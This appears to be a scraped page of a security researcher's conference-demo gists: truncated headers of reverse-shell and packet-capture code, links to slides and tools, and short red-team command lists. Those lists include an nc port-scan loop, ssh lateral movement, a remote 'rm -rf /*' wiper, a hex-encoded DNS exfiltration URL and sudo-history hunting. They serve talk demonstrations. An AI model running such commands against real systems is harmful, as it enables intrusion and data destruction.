- Slides
- Video
Stuart McMurray:
| // demoshell is a nifty beaconing shell useful for demos | |
| package main | |
| /* | |
| * demoshell.go | |
| * Simple reverse shell used in demos | |
| * By J. Stuart McMurray | |
| * Created 20180331 | |
| * Last Modified 20180331 | |
| */ |
| #Port Scanning | |
| for p in `jot 65535`; do | |
| nc -vz TARGET $p | |
| done 2>&1 | tee portscan.out | |
| #Lateral Movement | |
| ssh -J REDIR1,REDIR2,REDIR3,REDIR4 user@TARGET | |
| #Wiper | |
| ssh TARGET rm -rf /* |
| https://dns.google.com/resolve?type=A&name=5468697320697320612074657374.example.com |
| /* | |
| * evershell.c | |
| * Little library to spawn a shell | |
| * By J. Stuart McMurray | |
| * Created 20190109 | |
| * Last Modified 20190109 | |
| */ | |
| #include <sys/socket.h> | |
| #include <sys/wait.h> |
| /* | |
| * pcaphelloworld.c | |
| * Simple libpcap program | |
| * By J. Stuart McMurray | |
| * Created 20190527 | |
| * Last Modified 20190527 | |
| */ | |
| #include <arpa/inet.h> |
| Slides: https://docs.google.com/presentation/d/12dtJwSHpJwMyhCj0-lr8wVHsBCywep3oXtPm50YXHqE/edit?usp=sharing | |
| Packet Checksummer: https://github.com/magisterquis/packetchecksum | |
| Compiling and Running | |
| Source: https://gist.github.com/magisterquis/e98038e833543dcb59173d813d7c35d8 | |
| Asciicast: https://asciinema.org/a/248683 | |
| TelnetWatcher | |
| Source: https://github.com/magisterquis/telnetwatcher | |
| Asciicast: https://asciinema.org/a/248709 | |
| PcapKnock | |
| Source: https://github.com/magisterquis/pcapknock |
| package main | |
| import ( | |
| "encoding/base64" | |
| "fmt" | |
| "io/ioutil" | |
| "log" | |
| "net/http" | |
| "os" |
| /* | |
| * tapup.c | |
| * Bring up a tap device and discard frames | |
| * By J. Stuart McMurray | |
| * Created 20190911 | |
| * Last Modified 20190911 | |
| */ | |
| #include <linux/if.h> | |
| #include <linux/if_tun.h> |
| Link to the slides: https://docs.google.com/presentation/d/1D5_68h5EgEYCRDh_gpVRUc22xazUf5s0u7wBK_C8zkQ | |
| Speakers' twitter handles: @fin_ack (Fernando) | |
| @magisterquis (Stuart) | |
| Commands executed during the demo: | |
| ssh -v joe@10.1.1.5 | |
| ps awwwfux | |
| egrep -A1 '^[sudo]{4}' .*history | |
| sudo -l |
Stuart McMurray: